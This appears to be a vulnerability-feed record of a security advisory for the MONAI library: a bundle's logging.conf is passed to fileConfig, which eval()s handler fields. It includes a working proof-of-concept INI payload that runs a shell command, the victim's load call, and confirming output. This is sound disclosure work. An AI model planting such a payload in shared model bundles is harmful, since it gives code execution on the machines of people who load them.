{"schema":"threatline.record/2","record":{"id":"GHSA-wvpx-5qmp-46g3","aliases":["GHSA-wvpx-5qmp-46g3"],"summary":"Arbitrary code execution via a bundle's `configs/logging.conf` (`logging.config.fileConfig` eval)","details":"### Summary\r\n`monai.bundle.ConfigWorkflow` sets its logging file to `<bundle>/configs/logging.conf` by default and, if that file exists, passes it to `logging.config.fileConfig()`. `fileConfig` `eval()`s the `class=` and `args=` fields of the INI's handler sections, so a malicious `logging.conf` runs arbitrary code the moment the workflow object is constructed.\r\n\r\nThis fires in `ConfigWorkflow.__init__` — before `initialize()` or `run()` — and is reached by every bundle entrypoint that builds a workflow: `monai.bundle.load()` (a \"load weights\" verb), `monai.bundle.run()`, `run_workflow()`, `create_workflow()`, and direct `ConfigWorkflow(config_file=...)`. An attacker who publishes a bundle whose `configs/logging.conf` carries a crafted handler achieves remote-ish code execution against anyone who loads or runs it.\r\n\r\nThis is a **distinct primitive** from the bundle config `$`-expression / `_target_` RCE (reported separately): it lives in a plain INI file, not in the MONAI `$`-DSL, so it evades the intuition \"don't put `$` expressions in bundles you don't trust,\" and it triggers at object construction rather than at `initialize`.\r\n\r\n\r\n### Details\r\n### Root cause\r\n\r\n`ConfigWorkflow.__init__` defaults `logging_file` to the bundle's own `configs/logging.conf` and calls `logging.config.fileConfig()` on it with no trust check. `fileConfig` resolves handler classes and evaluates their constructor `args` with `eval()`, so any INI field placed there runs as Python.\r\n\r\n### Vulnerable code\r\n\r\n```python\r\n# monai/bundle/workflows.py  (ConfigWorkflow.__init__)\r\nlogging_file = str(self.config_root_path / \"logging.conf\") if logging_file is None else logging_file   # :435\r\nif logging_file is False:\r\n    logger.warning(...)\r\nelse:\r\n    if not os.path.isfile(logging_file):\r\n        ...\r\n    else:\r\n        fileConfig(str(logging_file), disable_existing_loggers=False)   # :445  <-- eval()s INI handler fields\r\n```\r\n\r\n\r\n### PoC\r\n**Attacker-published bundle** (note: `train.json` is entirely benign):\r\n\r\n```\r\ncoolseg/models/model.pt         # benign, weights_only-loadable\r\ncoolseg/configs/train.json       # {\"workflow_type\": \"train\"}   -- no $ expressions, no initialize\r\ncoolseg/configs/logging.conf     # malicious INI below\r\n```\r\n\r\n`coolseg/configs/logging.conf`\r\n\r\n```ini\r\n[loggers]\r\nkeys=root\r\n[handlers]\r\nkeys=h\r\n[formatters]\r\nkeys=f\r\n[logger_root]\r\nlevel=NOTSET\r\nhandlers=h\r\n[handler_h]\r\nclass=(__import__('os').system('echo LOGCONF_RCE_$(id -u)_$(whoami) > /tmp/pwned'), __import__('logging').StreamHandler)[1]\r\nargs=()\r\nformatter=f\r\n[formatter_f]\r\nformat=%(message)s\r\n```\r\n\r\n**Victim action** — \"load my segmentation model\":\r\n\r\n```python\r\nimport monai.bundle\r\nmonai.bundle.load(name=\"coolseg\", source=\"huggingface_hub\", repo=\"attacker/coolseg\")\r\n```\r\n\r\n`load` → `create_workflow` → `ConfigWorkflow.__init__` → `fileConfig(\"configs/logging.conf\")` → the handler `class=` field is `eval()`ed → the shell command runs.\r\n\r\n### Dynamic validation\r\n\r\nReproduced against the analyzed clone (bundle pre-placed so the orthogonal network download is skipped; the path from `create_workflow` onward is identical). Decisive output:\r\n\r\n```\r\nMONAI_ALLOW_PICKLE_ENV: 0\r\nMARKER_PRE_EXISTED: False\r\nTRAIN_JSON_HAS_INITIALIZE: False\r\nATTACKER_CODE_RAN: True\r\nMARKER_CONTENT: LOGCONF_RCE_501_ty\r\nLOGGING_CONF_RCE_CONFIRMED: true\r\n```\r\n\r\n`LOGCONF_RCE_501_ty` is the live output of `id -u` / `whoami`, executed by the logging INI while `train.json` contained no MONAI `$` expression at all.\r\n\r\n\r\n### Impact\r\nArbitrary code execution as the user who loads or runs the bundle. MONAI bundles are shared widely through the model zoo, Hugging Face, and NGC, so this is a practical supply-chain vector against researchers and inference services. Because the payload lives in `logging.conf` rather than the main config, it is easy to overlook when reviewing a bundle, and it executes at construction time before any `run`.\r\n\r\n- **Confidentiality / Integrity / Availability:** High.\r\n","categories":["Unclassified"],"product":"monai","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-wvpx-5qmp-46g3","source_modified_at":"2026-10-13T13:07:02Z","fetched_at":"2026-10-28T20:58:01.013507Z","package":{"ecosystem":" pypi","name":"monai"},"range":">= 1.2.0"}],"fixed_versions":[],"cvss":8.8,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-13T13:07:02Z","modified_at":"2026-10-13T13:07:02Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-wvpx-5qmp-46g3","fetched_at":"2026-10-28T20:58:01.013507Z","source_modified_at":"2026-10-13T13:07:02Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-13T13:07:02Z","content_hash":"fb938aeecbc6aed5f3b8c17c1c6db1626096af902a50d9fe7b422f1a0316b936"}}
